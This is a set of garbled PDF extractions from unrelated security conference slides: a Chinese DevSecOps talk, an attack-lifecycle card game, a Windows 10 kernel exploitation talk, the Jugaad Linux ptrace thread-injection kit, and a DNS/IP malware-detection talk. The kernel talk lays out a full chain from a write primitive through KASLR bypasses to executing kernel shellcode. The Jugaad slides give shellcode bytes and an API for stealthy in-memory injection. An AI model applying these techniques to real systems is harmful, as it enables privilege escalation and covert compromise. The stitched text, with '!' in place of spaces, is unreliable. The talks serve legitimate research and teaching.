试 静 态 代 码 安 全 扫 描 开 源 组 件 安 全 扫 描 容 器 安 全 扫 描 … … 03 04 05 01 02 安全流程与规范 安全控制方式嵌入DevOps流水线 安全质量门限 低风险发布机制 控制交付过程风险 控制运营过程风险:关注将安全内建于运营过程中,通过监控、运营、响应、反馈等实现技术运营过程中安全 风险的闭环管理,包括:安全监控、运营安全、应急响应和运营反馈。 1 3 4 2 对运营过程中的安全进行监控,覆盖业务场景与基 础运营环境,如:病毒攻击、DDos攻击、暴力破 解、注入攻击、接口滥用、Web欺诈等 安 全 监 控 关注运营过程中安全的动态性、持续性 和整体性,通过对安全漏洞、缺陷、事 件等的分析与反馈,实现从运营到开发 过程的DevSecOps闭环管理。 运 营 反 馈 应用在运营过程中实施安全控制,识别、 评估漏洞与缺陷,并降低或消除风险。 也包括对运营过程中配置管理、变更管 理等的安全管理。 运 营 安 全 针对运营过程中的安全事件、风险进行 响应、跟踪和处置,及时降低风险和影 响,保障业务连续性。 应 急 响 应 风险分 类分级 应急体 系及演 练 应急响 应度量 机制 应急响 应复盘 机制 B C A D 日 志 分 析 安 全 审 计 漏 洞 发 现 与 修 复 漏 洞 情 报 收 集 工 具 安 全 加 固 … … 控制运营过程风险 中国信通院关于开发运维相关工作 开发运维类行业标准制定 交流研讨、输出软科研成果 标准推广 标准符合性验证和评测 云计算运维工作组 《可信云服务专项评估 第1部分 面向云服务提供商的运维管理指南》 云服务运维 管理流程指 导 云服务运维管 理系统功能完 备性 云服务运维管 理系统的自动 化管理 《研发运营一体化(DevOps)能力成熟度模型》系列标准 云运维标准 运维研究成果 《企业IT 运维发展 白皮书 (2019 年)》 《中国 DevOps 现状调 查报告 (2019 年)》 《企业级 AIOps 实施建议白皮书》 正在研制中的标准 《研发运营一体化能力成熟度模型》评测与推广 企业级DevOps赋能(共促)计划 浙江公司 广东公司 北京公司 江苏 公司 北京 公司 持续交付 技术运营 刘老师 • 电话:15650786171 • 邮箱:[email protected] 联系我们 THANKS 全 球 网 络 安 全 倾 听 北 京 声 音
pdf
MAELSTROM Shane Steiger Attack Lifecycle Game Concept version .8 © 2016 ‘Are You Playing with a Full Deck?’ #cybermaelstrom github.com/maelstromthegame MAELSTROM: AN ATTACK LIFECYCLE GAME CONCEPT Maelstrom is a game concept and model meant to enable Education, Demonstration and Evangelism within Cyber Security disciplines. The game concept is intended to span from the 8th grade levels to the cyber security Ninja (locked in his mom’s basement). It is based on the Lockheed Martin Kill Chain Attack Lifecycle. The game also borrows concepts from several MITRE Frameworks, attack patterns mapped from previous cyber campaigns and from real ‘cyber security life’. The Attacker’s goal is to reach a progressive Action on Objective. The Defenders will play cards, tactics and strategies to prevent this progression. Pick your side, pick your Actor and pick your Act on Objective, buy or build your own cards. Hope you don’t lose! ‘Are You Playing with a Full Deck?’ OFFICIAL RULES CONTENTS: Include a game board (Figure 1), initial game cards for the red Attacker Deck, a blue Defender Deck (Figure 2), a green Act on Objective Deck, (optional Expansion packs of ‘build your own’ not shown), 2 dice, 9 Actor poker chip game pieces, tablets, pens and money. Figure 1 MAELSTROM Game Board Anatomy of the Maelstrom board consists of multiple stages of an Attack Lifecycle (Lockheed Martin based in this case) where the start position for the Attacker is Reconnaissance. The 6 dots between phases indicate positions. Reconnaissance, Weaponization, Delivery, Exploit, Install, Command and Control (C2), Act on Objects are each phases in which on the appropriately labeled cards can be played. GAME SETUP FIRST: Pick how many players Attackers SECOND: Attacker picks or draws their Threat Actor: Pick from (12): LIST – State Actor, Ware Fighter, Freelance Spy, Script Kiddies, Political/Social, Insider Threat, Hacktivist, Disgruntled Employee, Corporate Spy, Criminal Organization, Criminal Freelance, Joker Attacker does not reveal to the table the choice or draw and places the game piece face down on the board on Reconnaissance. Just like real life where you don’t necessarily know the type of Threat Actor you are dealing with. THIRD: Attacker picks or draws their Act on Objective card Pick from (11): LIST – Humiliate, Pivot from Shared Space, Blackmail, Denial of Service/Cryptowall, Destroy, Data Disclosure, Exfiltration, Plant False Data/Information, Persistent Foothold for Future, Defacement/Vandelism, Pick any Act on Objectives Joke Does not reveal to the table the choice or draw and places the game piece face down in the center of the board on Act on Objectives Anatomy of Attacker and Defender Cards: Figure 2 Example Attacker Card and Defender Card. Attacker cards are RED, Defender cards are BLUE. Text of Card The text indicates the phases in which a card can be played. This includes Reconnaissance, Weaponization, Delivery, Exploit, Install, Command and Control (C2) or Act on Objectives. For instance, this card indicates that it can only be played in the Reconnaissance (Recon), Exploit, C2 and Actions phases. Progression A + or - indicates the progression and the number indicates the steps within a phase a player can advance their game piece(s). For Ninja play, the players will need to buy their own cards according to a Cost. Cost For Ninja play, the players will need to maintain their budgets and pay upkeep of the value shown and the round frequency shown. For instance the card above is a $50k charge to the attacker for every second round of play to keep using the +4 progression through the phases. Upkeep is also meant for Ninja play. METHOD OF PLAY Easy - 8th Grade Level – Quick and Fun! 2 Players – Role a single dice. The player with the highest roll decides to be the Attacker or Defender. The other player takes the opposite role. The Attacker then writes down an Action on Objectives (cards coming soon). The Attacker must build their cards only towards this Action on Objectives unless a card in play states otherwise. The Attacker plays with the Attacker cards only and the Defender plays with Defender cards only unless a card in play states otherwise The Object for the Attacker is to progress through the board until they reach and play the appropriate cards/story for their particular Act on Objectives. Referring to the Anatomy of the cards, 7 cards are initially drawn by each player with the Attacker leading the first round. When a player plays a card, the opposite player can then play a follow on card. The player can discard if there are no playable cards in their hand or they wish to discard a card in exchange for another. The rounds continue as each hand is played. Story of Play: With each card played, the player must supply a one or two sentence description of the way in which the card is being played with some ‘fact fiction’ to create the story of play. This does require the player to be somewhat versed in the usage and role of the card. It also makes for fun fact fiction! Easy to Moderate – College Level – Tactical choices Multiple players – Players choice on rolling dice or picking sides. Players also can pick the particular cards they would like in their deck for play. Keep in mind your opponent(s) may be picking tactical cards to defeat the cards you have so pick wisely. Hard (Real Life) - Ninja Level– Strategic choices coupled with realistic challenges Multiple players – Players decide their role of Attacker or Defender. They are then given budgets to play with based on a dice role or as mutually (suggest realistically) decided between the players. The budget is a multiplier of 100,000 of the dice player’s dice roll. For instance, if a player rolls a 3 then the budget = $300,000. LATEST INFORMATION Maelstrom github https://github.com/maelstromthegame/defcon24 Maelstrom twitter https://twitter.com/cybermaelstrom REFERENCES Lockheed Martin Cyber Kill Chain http://www.lockheedmartin.com/content/dam/lockheed/data/corporate/document s/LM-White-Paper-Intel-Driven-Defense.pdf MITRE ATT&CK Framework http://attack.mitre.org/ MITRE CAPEC http://capec.mitre.org/ MITRE Cyber Resiliency Engineering Framework https://www.mitre.org/capabilities/cybersecurity/resiliency https://www.mitre.org/publications/technical-papers/cyber-resiliency- engineering-framework http://www2.mitre.org/public/industry-perspective/
pdf
TAKING WINDOWS 10 KERNEL EXPLOITATION TO THE NEXT LEVEL – LEVERAING WRITE- WHAT-WHERE VULNERABILITIES IN CREATORS UPDATE Whoami • Morten Schenk • Security Advisor, Improsec ApS • Twitter - @blomster81 • Blog: https://improsec.com/blog/ • GitHub: https://github.com/MortenSchenk • What to expect from this talk • Windows 10 Kernel Exploitation on Creators Update from Low Integrity • Lots of hex, C and memes • 0-days! Agenda • Brief look at Kernel Exploitation history • New Windows 10 Mitigations • Arbitrary Kernel Read/Write Primitive • KASLR information leak • De-randomizing Page Table Entries • Dynamic Function Location • Executable Kernel Memory Allocation Exploitation Concept • Write-What-Where • Vulnerability class • Best case • Write controlled value at controlled address • Common case • Write not controlled value at controlled address • Leverage to obtain kernel-mode code execution • Must know where and perhaps what • Techniques presented may be used for other vulnerability classes as well Kernel Exploitation History Brief Look at Kernel Exploitation History Windows 7 • Executable NonPagedPool was the default • Kernel information leaks were available with NtQuerySystemInformation • Overwrite HalDispatchTable function table with NonPagedPool address • Execute User-mode memory from Kernel-mode Brief Look at Kernel Exploitation History Windows 8.1 and Windows 10 • Windows 8.1 and Windows 10 before Anniversary Edition. • Kernel information leaks with APIs blocked from Low Integrity. • NonPagedPoolNx is the new standard. • Supervisor Mode Execution Prevention is introduced. • Kernel-mode read / write primitive is needed. • GDI bitmap primitive. • tagWND primitive. Bitmap Primitive • Information leak of Bitmap through GdiSharedHandleTable • Overwrite size of Bitmap using Write-What-Where • Consecutive Bitmaps can create a primitive • SetBitmapBits overwrites data pointer of the following Bitmap • GetBitmapBits reads arbritrary kernel memory • SetBitmapBits writes arbritrary kernel memory tagWND primitive • Information leak of Desktop Heap through • ulClientDelta from Win32ClientInfo • UserHandleTable from User32!gSharedInfo • Overwrite cbWndExtra using Write-What-Where • Consecutive Windows can create a primitive • SetWindowLongPtr overwrites adjacent tagWND.StrName pointer through ExtraBytes • InternalGetWindowText reads arbitrary kernel memory • NtUserDefSetText writes arbitrary kernel memory SMEP and NX Bypass • Page Table Entry overwrite using write primitive KASLR Bypass • Windows HAL Heap was in many cases static at 0xFFFFFFFFFD00000 • Offset 0x448 contained a pointer to ntoskrnl.exe • SIDT instruction leaks address of ntoskrnl.exe pointer • Use read primitive to leak pointer and get base address. Mitigations Introduced in Windows 10 1607 Windows 10 Anniversary Update Mitigations • Randomizes Page Table Entries • Removes kernel addresses from GdiSharedHandleTable • Breaks bitmap primitive address leak • SIDT KASLR bypass is mitigated Windows 10 Anniversary Update Mitigations • Limits the tagWND.strName to point inside Desktop heap. • Breaks tagWND primitive Locating Bitmap Object • Bitmap objects are stored in the Large Paged Pool. • Randomized on reboot • Need a kernel information leak to locate • Win32ThreadInfo in the TEB is close to the Large Paged Pool Locating Bitmap Object • Creating a number of large Bitmap objects stabilizes the Pool • Large static offset will point into Bitmaps Locating Bitmap Object • Delete the second large Bitmap object. • Allocate ~10000 new Bitmap objects of 0x1000 bytes each. • Will point to start of Bitmap object. Locating Bitmap Object • Overwrite size of leaked Bitmap • Reuses two consecutive Bitmaps • Write-What-Where simulation tagWND Read/Write outside Desktop Heap • Pointer verification is performed by DesktopVerifyHeapPointer. • tagWND.strName must be within the Desktop Heap tagWND Read/Write outside Desktop Heap • Desktop Heap address and size comes from tagDESKTOP object. • No validation on tagDESKTOP pointer. • Pointer is taken from header of tagWND. • Find tagDESKTOP pointer and replace it. • Control Desktop Heap address and size during verification. tagWND Read/Write outside Desktop Heap • SetWindowLongPtr can overwrite tagDESKTOP pointer. • Verification succeeds everywhere. Write-What-Where simulation Mitigations Introduced in Windows 10 1703 Windows 10 Creators Update Mitigations • UserHandleTable kernel addresses have been removed • Windows 10 1607 • Windows 10 1703 Windows 10 Creators Update Mitigations • ulClientDelta from Win32ClientInfo is gone • Windows 10 1607 • Windows 10 1703 Windows 10 Creators Update Mitigations • ExtraBytes modified by SetWindowLongPtr are moved to user-mode. • Cannot overwrite adjacent tagWND.strName. Windows 10 Creators Update Mitigations • tagWND as Kernel-mode read/write primitive is broken again. • Bitmap object header increased by 0x8 bytes. • Change allocation size to retain allocation alignment. • HAL Heap is randomized. • No longer ntoskrnl.exe pointer at 0xFFFFFFFFFD00448. tagWND Primitive Revival • ulClientDelta in Win32ClientInfo has been replaced by user-mode pointer • Inspecting new pointer reveals user-mode mapped Desktop Heap tagWND Primitive Revival • Manually search through Desktop heap to locate tagWND object tagWND Primitive Revival • Size of ExtraBytes is defined by cbWndExtra when Windows Class is registered • RegisterClassEx creates a tagCLS object • tagCLS has ExtraBytes defined by cbClsExtra • SetWindowLongPtr sets ExtraBytes in tagWND • SetClassLongPtr sets ExtraBytes in tagCLS tagWND Primitive Revival • ExtraBytes from tagCLS are still in the kernel • Allocate tagCLS followed by tagWND. • Use SetClassLongPtr to update tagWND.strName • Read/write kernel-mode primitive is back Kernel ASLR • Almost all kernel memory is randomized. • Shared System Page – KUSER_SHARED_DATA is static • Located at 0xFFFFF78000000000. • Not executable. • Does not contain interesting pointers. • HAL Heap is randomized • SIDT is mitigated • Need new ntoskrnl.exe information leak Kernel ASLR Bypass Idea • KASLR bypass could be primitive related. • Need a bypass for each primitive. • Must leak ntoskrnl.exe pointer. Bitmap KASLR Bypass 0-Day • Surface structure from REACTOS Bitmap KASLR Bypass 0-Day • PDEVOBJ structure from REACTOS Function Pointer Bitmap KASLR Bypass 0-Day Bitmap hdev field is empty Bitmap KASLR Bypass 0-Day • CompatibleBitmap is a variant Bitmap KASLR Bypass 0-Day • Free a Bitmap at offset 0x3000 from first Bitmap • Spray CompatibleBitmaps to reallocate Bitmap KASLR Bypass 0-Day • Read cdd!DrvSyncronizeSurface pointer • Find ntoskrnl.exe pointer tagWND KASLR Bypass 0-Day • tagWND structure from REACTOS tagWND KASLR Bypass 0-Day • Offset 0x2A8 of KTHREAD has ntoskrnl.exe pointer Bonus Round Bonus KASLR Bypass 0-Days • Primitive independent ntoskrnl.exe leak Bonus KASLR Bypass 0-Days • Also kernel pool leak for Bitmap primitive • Only works on Windows 10 1703 Bonus KASLR Bypass 0-Days • ThreadLocalStoragePointer helps leak kernel pool • Works on Windows 10 1607, but removed in 1703 Bonus KASLR Bypass 0-Days • Instead of using a tagWND we can leak ntoskrnl.exe directly from gSharedInfo • Works on Windows 10 1607, but not in 1703 Page Table Entry Overwrite • Page Table Entries had static base address of 0xFFFFF68000000000 • Calculate Page Table Entry address easily De-randomizing Page Table Entries • The kernel must lookup PTE’s often • Must have API which works despite randomization • MiGetPteAddress in ntoskrnl.exe • Static disassembly uses old base address • Dynamic disassembly uses randomized base address De-randomizing Page Table Entries • MiGetPteAddress contains the randomized base address • Locate MiGetPteAddress dynamically using read primitive • Collision free hash is four QWORDS of function start De-randomizing Page Table Entries • Locate hash value of MiGetPteAddress • Leak PTE base address De-randomizing Page Table Entries • Write shellcode to KUSER_SHARED_DATA + 0x800 • Flip the NX bit of the page • Call shellcode by overwriting HalDispatchTable and calling NtQueryIntervalProfile Recap of steps Use vulnerability to create read / write primitive Leak ntoskrnl.exe base address using either tagWND or Bitmap Locate MiGetPteAddress Use randomized PTE base address to calculate PTE for any page Copy shellcode to page Overwrite PTE of shellcode page and gain RWX kernel memory Overwrite HalDispatchTable and execute shellcode Dynamic Kernel Memory • ExAllocatePoolWithTag allocates kernel pool memory • Allocate NonPagedPoolExecute pool memory • Return pool memory address Dynamic Kernel Memory • Need controlled arguments to call ExAllocatePoolWithTag • NtQueryIntervalProfile takes two arguments • Must have specific values to trigger HaliQuerySystemInformation • Need a different system call Dynamic Kernel Memory • Enter NtGdiDdDDICreateAllocation • Thin trampoline through win32k*.sys Dynamic Kernel Memory • Win32kbase!gDxgkInterface is function table into dxgkrnl.sys • Arguments are not modified from system call to function table call • Returns a QWORD Dynamic Kernel Memory • Inspecting win32kbase!gDxgkInterface shows it to be writable Dynamic Kernel Memory • Need to dynamically locate win32kbase!gDxgkInterface • Can be found in win32kfull!DrvOcclusionStateChangeNotify • Need to leak win32kfull.sys Dynamic Kernel Memory • PsLoadedModuleList is doubly-linked list of _LDR_DATA_TABLE_ENTRY structures. • Search for Win32kful in Unicode at offset 0x60 • Read Win32kfull.sys base address at offset 0x30 Dynamic Kernel Memory • Leak PsLoadedModuleList from KeCapturePersistentThreadState • Get Win32kfull.sys base address • Find win32kfull!DrvOcclusionStateChangeNotify • Finally locate win32kbase!gDxgkInterface Dynamic Kernel Memory • Overwrite win32kbase!gDxgkInterface + 0x68 with nt!ExAllocatePoolWithTag • Copy shellcode to allocated page • Execute it by overwriting win32kbase!gDxgkInterface again Recap of steps Use vulnerability to create read / write primitive Leak ntoskrnl.exe base address using either tagWND or Bitmap Locate KeCapturePersistentThreadState and PsLoadedModuleList Use PsLoadedModuleList to obtain base adress of Win32kfull.sys Locate DrvOcclusionStateChangeNotify and gDxgkInterface Overwrite gDxgkInterface with ExAllocatePoolWithTag Allocate RWX kernel memory and copy shellcode to it Overwrite gDxgkInterface with pool memory and execute shellcode Summary • Kernel read/write primitives can still be leveraged with Write-What- Where vulnerabilities • Page Table randomization can be bypassed with ntoskrnl.exe information leak • Device Independent Bitmap can be used to leak ntoskrnl.exe • tagWND can be used to leak ntoskrnl.exe • Possible to allocate RWX pool memory with ExAllocatePoolWithTag • Code on GitHub - https://github.com/MortenSchenk/BHUSA2017 Credits • Alex Ionescu - https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu- I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain%27t%20o ne.pdf • Alex Ionescu - http://www.alex-ionescu.com/?p=231 • Diego Juarez - https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit- primitives • Yin Liang & Zhou Li - https://www.blackhat.com/docs/eu-16/materials/eu-16- Liang-Attacking-Windows-By-Windows.pdf • Nicolas Economou - https://www.coresecurity.com/blog/getting-physical- extreme-abuse-of-intel-based-paging-systems-part-3-windows-hals-heap • David Weston & Matt Miller - https://www.blackhat.com/docs/us- 16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf • Matt Oh & Elia Florio - https://blogs.technet.microsoft.com/mmpc/2017/01/13/hardening-windows-10- with-zero-day-exploit-mitigations/ Questions ?
pdf
http://null.co.in/ http://nullcon.net/ http://null.co.in/ Jugaad Linux Thread Injection Kit By Aseem Jakhar $whoami ● A Big Hello from India. ● Founder – null The open security community. ● Organizer – nullcon security conference. ● Chief researcher – Payatu Labs http://www.payatu.com ● Speaker at various security conferences ● Blackhat, Xcon, Gnunify, ISACA Blore, Cocon, Clubhack, Blore Cyber security Summit. http://null.co.in/ http://nullcon.net/ http://null.co.in/ null ● Registered Non-Profit organization. ● The largest security community in India. ● Focus – security research, knowledge sharing. ● 6 chapters in India. ● Monthly meets in all chapters. ● Security awareness camps. ● nullcon – The Favorite go-to destination for hackers and security professionals in the Indian sub- continent. http://null.co.in/ http://nullcon.net/ http://null.co.in/ Agenda ● What is Jugaad ● What Jugaad is not ● Code Injection ● Windows ● Linux ● ptrace() Primer ● Library Injection ● Jugaad ● Conclusion http://null.co.in/ http://nullcon.net/ http://null.co.in/ What is Jugaad ● Jugaad – Hindi word, means work- around/hack. ● Code injection technique. ● Threading capability. ● Customized payload. ● Jugaad in it's true sense. http://null.co.in/ http://nullcon.net/ http://null.co.in/ Agenda ● What is Jugaad ● What Jugaad is not ● Code Injection ● Windows ● Linux ● ptrace() Primer ● Library Injection ● Jugaad ● Conclusion http://null.co.in/ http://nullcon.net/ http://null.co.in/ What Jugaad is not ● Zero day. ● Vulnerability. ● Privilege escalation technique. http://null.co.in/ http://nullcon.net/ http://null.co.in/ Agenda ● What is Jugaad ● What Jugaad is not ● Code Injection ● Windows ● Linux ● ptrace() Primer ● Library Injection ● Jugaad ● Conclusion http://null.co.in/ http://nullcon.net/ http://null.co.in/ Code Injection ● Injecting executable instructions/code. ● Altering the default flow of execution. ● Buffer overflow ● SQLi ● XSS ● XML ● APIs http://null.co.in/ http://nullcon.net/ http://null.co.in/ Agenda ● What is Jugaad ● What Jugaad is not ● Code Injection ● Windows ● Linux ● ptrace() Primer ● Library Injection ● Jugaad ● Conclusion http://null.co.in/ http://nullcon.net/ http://null.co.in/ Windows ● Allows code injection via a defined API. ● CreateRemoteThread and family. ● HANDLE WINAPI CreateRemoteThread( __in HANDLE hProcess, __in LPSECURITY_ATTRIBUTES lpThreadAttributes, __in SIZE_T dwStackSize, __in LPTHREAD_START_ROUTINE lpStartAddress, __in LPVOID lpParameter, __in DWORD dwCreationFlags, __out LPDWORD lpThreadId); http://null.co.in/ http://nullcon.net/ http://null.co.in/ Windows ● hProcess – A handle to the process in which the thread is to be created. ● dwStackSize – The initial size of the stack, in bytes. ● lpStartAddress – A pointer to the application-defined function to be executed by the thread and represents the starting address of the thread in the remote process. The function must exist in the remote process. ● Source: http://msdn.microsoft.com/en-us/library/ms682437%28v=vs.85%29.aspx http://null.co.in/ http://nullcon.net/ http://null.co.in/ Agenda ● What is Jugaad ● What Jugaad is not ● Code Injection ● Windows ● Linux ● ptrace() Primer ● Library Injection ● Jugaad ● Conclusion http://null.co.in/ http://nullcon.net/ http://null.co.in/ Linux ● No remote code injection API. ● No CreateRemoteThread equivalent. ● How do we inject code into remote process? ● Wait a minute... what does gdb do? ● Awesomeness of ptrace(). http://null.co.in/ http://nullcon.net/ http://null.co.in/ Agenda ● What is Jugaad ● What Jugaad is not ● Code Injection ● Windows ● Linux ● ptrace() Primer ● Library Injection ● Jugaad ● Conclusion http://null.co.in/ http://nullcon.net/ http://null.co.in/ ptrace() primer ● Tracing API a.k.a Debugging. ● Powerful API – Single function, multiple operations. ● long ptrace( enum __ptrace_request request, pid_t pid, void *addr, void *data); ● request – The operation to be performed on the traced process. ● pid – The process identifier of the process being traced. ● addr and data – The values depend on the type of operation. http://null.co.in/ http://nullcon.net/ http://null.co.in/ ptrace() primer ● request parameter. ● PTRACE_ATTACH - Attaches to the process specified in pid. ● PTRACE_CONT - Restarts the stopped child process. ● PTRACE_DETACH - Restarts the stopped child as for PTRACE_CONT, but first detaches from the process. ● PTRACE_PEEKTEXT - Reads a word at the location addr in the child's memory. http://null.co.in/ http://nullcon.net/ http://null.co.in/ ptrace() primer ● PTRACE_POKETEXT - Copies the word data to location addr in the child's memory. ● PTRACE_GETREGS - Copies the child's general purpose to location data in the parent. ● PTRACE_SETREGS - Copies the child's general purpose or floating-point registers, respectively, from location data in the parent. http://null.co.in/ http://nullcon.net/ http://null.co.in/ ptrace() primer ● Getting the control back after executing specific instructions. ● Breakpoints. ● Int3 instruction (0xcc). http://null.co.in/ http://nullcon.net/ http://null.co.in/ Agenda ● What is Jugaad ● What Jugaad is not ● Code Injection ● Windows ● Linux ● ptrace() Primer ● Library Injection ● Jugaad ● Conclusion http://null.co.in/ http://nullcon.net/ http://null.co.in/ Library Injection ● Injecting shared libraries into running processes. ● Open source tool – injectSo. ● Awesome!!! ● Read/write fds, intercept IO, functions. ● But wait... Whats that in /proc ? http://null.co.in/ http://nullcon.net/ http://null.co.in/ Library Injection ● cat /proc/1234/maps 00d74000-00f63000 r-xp 00000000 08:01 8698 /home/victim/evil.so http://null.co.in/ http://nullcon.net/ http://null.co.in/ Library Injection Demo http://null.co.in/ http://nullcon.net/ http://null.co.in/ Agenda ● What is Jugaad ● What Jugaad is not ● Code Injection ● Windows ● Linux ● ptrace() Primer ● Library Injection ● Jugaad ● Conclusion http://null.co.in/ http://nullcon.net/ http://null.co.in/ Jugaad ● Thread injection kit. ● In-memory injection. ● Stealthier. ● No more library traces in maps. ● Awesomeness?? ● Custom Payload. http://null.co.in/ http://nullcon.net/ http://null.co.in/ Jugaad ● Memory Allocation and Execution ● Threadification ● Payload (Evil code) ● Implementation ● Demo http://null.co.in/ http://nullcon.net/ http://null.co.in/ Jugaad ● Memory Allocation and Execution ● Threadification ● Payload (Evil code) ● Implementation details ● Demo http://null.co.in/ http://nullcon.net/ http://null.co.in/ Jugaad ● Backup memory location and registers. ● Overwrite with shellcode. ● Set EIP to point to the overwritten memory location. ● Execute the code. ● Upon executing int3 instruction we get the control back. http://null.co.in/ http://nullcon.net/ http://null.co.in/ Jugaad ● Allocate memory using mmap2 system call. ● void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); ● length – Length of the mapping. ● prot – Desired memory protection of the mapping. ● flags – mapping specific flags. http://null.co.in/ http://nullcon.net/ http://null.co.in/ Jugaad ● Sample shellcode "\x31\xdb" // xor %ebx,%ebx # Zero out ebx "\xb9\x10\x27\x00\x00" // mov $0x2710,%ecx # memory size 10000 bytes "\xba\x07\x00\x00\x00" // mov $0x7,%edx # page permissions R|W|E = 7 "\xbe\x22\x00\x00\x00" // mov $0x22,%esi #flags MAP_PRIVATE|MAP_ANONYMOUS "\x31\xff" // xor %edi,%edi # Zero out edi "\x31\xed" // xor %ebp,%ebp # Zero out ebp "\xb8\xc0\x00\x00\x00" // mov $0xc0,%eax # mmap2 sys call no. 192 "\xcd\x80" // int $0x80 # s/w interrupt "\xcc"; // int3 # breakpoint interrupt http://null.co.in/ http://nullcon.net/ http://null.co.in/ Jugaad ● Memory Allocation and Execution ● Threadification ● Payload (Evil code) ● Implementation ● Demo http://null.co.in/ http://nullcon.net/ http://null.co.in/ Jugaad ● Clone system call wrapper. ● int clone(int (*fn)(void *), void *child_stack, int flags, void *arg, ... /* pid_t *ptid, struct user_desc *tls, pid_t *ctid */ ); ● fn – Function application to execute. ● child_stack – location of the stack used by the child process. Stack bottom (highest memory) address. ● flags – specify what is shared between the calling process and the child process. http://null.co.in/ http://nullcon.net/ http://null.co.in/ Jugaad ● Execute clone shellcode. ● Get the control back from the remote process in main thread by int3 instruction. ● The injected thread starts execution and becomes independent of the ptrace caller and the traced process main thread. http://null.co.in/ http://nullcon.net/ http://null.co.in/ Jugaad ● Memory Allocation and Execution ● Threadification ● Payload (Evil code) ● Implementation ● Demo http://null.co.in/ http://nullcon.net/ http://null.co.in/ Jugaad ● Custom payload. ● Thread aware. ● The payload is injected as a combined threading payload for relative addressing and jumping to thread code from the clone code. ● Kind of a sandwich. ● [CLONE_HEAD] [PAYLOAD] [CLONE_TAIL] ● CLONE_HEAD – clone syscall. ● PAYLOAD – The evil code. ● CLONE_TAIL – exit syscall. http://null.co.in/ http://nullcon.net/ http://null.co.in/ Jugaad ● Memory Allocation and Execution ● Threadification ● Payload (Evil code) ● Implementation ● Demo http://null.co.in/ http://nullcon.net/ http://null.co.in/ Jugaad ● Shellcode ● mmap2, clone, exit, evil code. ● Shellcode Stubs for mmap2 and clone. ● Actual shellcode generated on the fly based on caller requirements. http://null.co.in/ http://nullcon.net/ http://null.co.in/ Jugaad ● struct shellcode {unsigned char * payload, size_t psize}; ● struct shellcode * shellcode_mmap2(size_t length, int prot, int flags); ● struct shellcode * shellcode_thread(unsigned char * tpayload, size_t tpsize, void * child_stack, int flags); http://null.co.in/ http://nullcon.net/ http://null.co.in/ Jugaad ● libjugaad API ● int create_remote_thread(pid_t pid, int stack_size, unsigned char * tpayload, size_t tpsize, int thread_flags, int mmap_prot, int mmap_flags, void * bkpaddr); http://null.co.in/ http://nullcon.net/ http://null.co.in/ Jugaad ● Memory Allocation and Execution ● Threadification ● Payload (Evil code) ● Implementation ● Demo http://null.co.in/ http://nullcon.net/ http://null.co.in/ Agenda ● What is Jugaad ● What Jugaad is not ● Code Injection ● Windows ● Linux ● Ptrace() Primer ● Library Injection ● Jugaad ● Conclusion http://null.co.in/ http://nullcon.net/ http://null.co.in/ Conclusion ● Stealthy CreateRemoteThread now possible. ● Simple debugging functionality can be abused for injection purposes. ● Injecting library is not that stealthy, shared object name in maps file. ● Disable ptrace functionality in your linux boxes via SELinux/apparmor. http://null.co.in/ http://nullcon.net/ http://null.co.in/ Project details ● http://null.co.in/section/projects ● Version 1 contains 32 bit support. ● Next release will include 64 bit support, library injection (possibly without the trace in maps file). http://null.co.in/ http://nullcon.net/ http://null.co.in/ Contribution ● null local Chapters. ● null projects. ● null Jobs – http://jobs.nullcon.net ● nullcon security conference – http://nullcon.net ● Mailing list – http://groups.google.com/group/null-co-in http://null.co.in/ http://nullcon.net/ http://null.co.in/ Thanks ● ? & . ● Contact ● aseemjakhar |at| gmail.com ● null |at| null.co.in ● I'll be around if you feel like contributing to null or if you have any queries. http://null.co.in/ http://nullcon.net/ http://null.co.in/
pdf
Catching)Malware)En)Masse):)DNS)and)IP)style! ! [email protected]!@DhiaLite!! [email protected]!@ThibaultReuille!! [email protected]!@atoonk!!!! Part!1:!Catching!Malware!DNS!style! !FasFlux!botnets!as!proxy!networks! Part!2:!Catching!Malware!IP!style! !ASN!graph! !Suspicious!sibling!ASNs! !DetecJng!sibling!ASNs!through!BGP!outages! !DetecJng!Malicious!IP!ranges! !DetecJng!Malicious!subdomains!under!compromised! domains! Part!3:!Visualizing!knowledge!with!our!3D!engine! !OpenGraphiJ! !SemanJc!Nets! !ParJcle!Physics! Conclusion! Part!1:! ! Catching!Malware!DNS!style! ! ! Background! AQackers!seek!to!keep!their!operaJons!online!at!all!Jmes! The!Network!=!the!hosJng!infrastructure!is! ) ) ) )CRUCIAL) ! Spam! Phishing! Malware!distribuJon! Botnets! Fast!flux!botnets! Fast!flux!botnets!serving!as!proxy!networks! Extra!evasion/protecJon!layer!for!actual!CnCs! Infected!hosts!<Y>!FF!proxy!network!<Y>!Backend!CnCs! Usages!of!proxy!network:! YServe!malware!pushed!from!CnCs!down!to!infected!clients! (via!driveYby,!spam,!etc.)! YForward!communicaJon!from!infected!clients!to!CnCs! e.g.!Kelihos!TTL!0,!zbot!TTL!150! Zeus!Crimeware! YControl!panel! YConfig!files!(contains!urls!for:!drop!zone,!extra!payload,!extra! configs,!target!websites!for!web!injects)! YBinary!files! YBuilder! CharacterisJcs:! YSteals!financial!data:!online!bank!account!info,!credit!card! YSteals!sensiJve!credenJals! YWeb!injects! Zeus!CnCs! YCompromised!sites! YBulletproof!or!free!hosJng! YFast!flux!botnet! ! CnC!domains!used!for!3!types!of!purposes:! YServe!configuraJon!files! YServe!binary!files! YDrop!zones! Zbot!proxy!network! Fast!flux!domains!with!TTL!=!150!sec!sharing!same!infected! hosts!infrastructure! ! DetecJon!methods:! 1)  Periodic!batch!pig!job! 2)  IP!harvesJng!+!streaming!auth!DNS!+!filtering!heurisJcs! ! ! DetecJon!methods!(1)! YPeriodic!Pig!job!to!retrieve!domains!with!TTL!=!150!from! authoritaJve!logs! YFilter!out!noise!domains!such!as!spam,!legiJmate!domains! known!to!use!TTL!=!150! YBuild!“domain!to!IP”!biparJte!graph! YExtract!largest!connected!component! YIdenJfy!new!zbot!CnC!domains!to!block! YAdd!IPs!from!largest!connected!component!to!pool!of!zbot!IPs! ! Streaming!AuthoritaJve!DNS! •  Tap!into!processed!authoritaJve!DNS!stream!before! it’s!consolidated!into!a!persistent!DB! •  asn,!domain,!2LD,!IP,!NS_IP,!Jmestamp,!TTL,!type! •  Faster!than!DNSDB!on!Hadoop! •  100s!–!1000s!entries/sec!(from!subset!of!resolvers)! •  Need!to!implement!your!own!filters,!detecJon! heurisJcs! 